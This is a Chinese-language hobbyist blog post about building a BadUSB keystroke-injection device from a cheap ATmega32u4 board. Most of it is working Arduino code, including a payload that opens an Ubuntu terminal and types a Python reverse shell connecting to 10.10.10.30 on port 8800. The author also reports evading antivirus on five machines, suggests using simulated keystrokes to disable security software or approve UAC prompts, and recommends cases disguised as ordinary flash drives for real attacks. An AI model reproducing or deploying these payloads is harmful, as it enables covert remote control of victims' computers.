badusb试玩

物理攻击警告

Posted by Les1ie on August 6, 2019

板子用的beetle usb atmega32u4

自带usb接口,比较便宜,以前看过多款badusb的板子,但是都因为比较贵而放弃,直到前两天hx说了这个板子也可以,于是果断下单。

板子类型选择arduino leonardo,编译上传即可

上手试玩

代码很简单,一看就懂。

windows弹计算器

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('r');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(50);
  Keyboard.println("calc");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);  
}

void loop() {
  // put your main code here, to run repeatedly:

}

ubuntu 开终端

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
/*
  Keyboard.press(KEY_LEFT_CTRL);
  delay(500);
  Keyboard.press(KEY_LEFT_ALT);
  delay(500);
  Keyboard.press('T');
  delay(500);
  Keyboard.release('T');
  */
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  delay(500);
  Keyboard.println("term");
  delay(500);

  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);


  Keyboard.println("echo hacked");
  delay(500);
  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);
  delay(50);
}

void loop() {
  // put your main code here, to run repeatedly:

}

ubuntu反弹shell

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
/*
  Keyboard.press(KEY_LEFT_CTRL);
  delay(500);
  Keyboard.press(KEY_LEFT_ALT);
  delay(500);
  Keyboard.press('T');
  delay(500);
  Keyboard.release('T');
  */
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  delay(500);
  Keyboard.println("term");
  delay(500);

  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);


  Keyboard.println("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.10.30\",8800));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'
");
  delay(500);
  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);
  delay(50);
}

void loop() {
  // put your main code here, to run repeatedly:

}

代码异常简单,执行过程也毫不隐蔽,难点在于如何把做好的板子插到目标设备上 :)

模拟的键盘设备,试过了5台电脑,其中三台win10有杀软,两台ubuntu,全部正常运行,没有遇到拦截的情况。

如果有恶意命令,可能会被拦截,似乎火绒会拦截命令行创建用户的命令

板子模拟键盘操作关掉杀软也是可以的 :) 然而暂时没想到如何用键盘快捷键关掉杀软。在执行过程中模拟点击允许该程序执行、同意UAC可能也是可以的。

淘宝上这款板子有的是带壳子的,外观就是一个普通的优盘。如果实战使用的话可能更好。

Les1ie

2019年8月7日09:35:43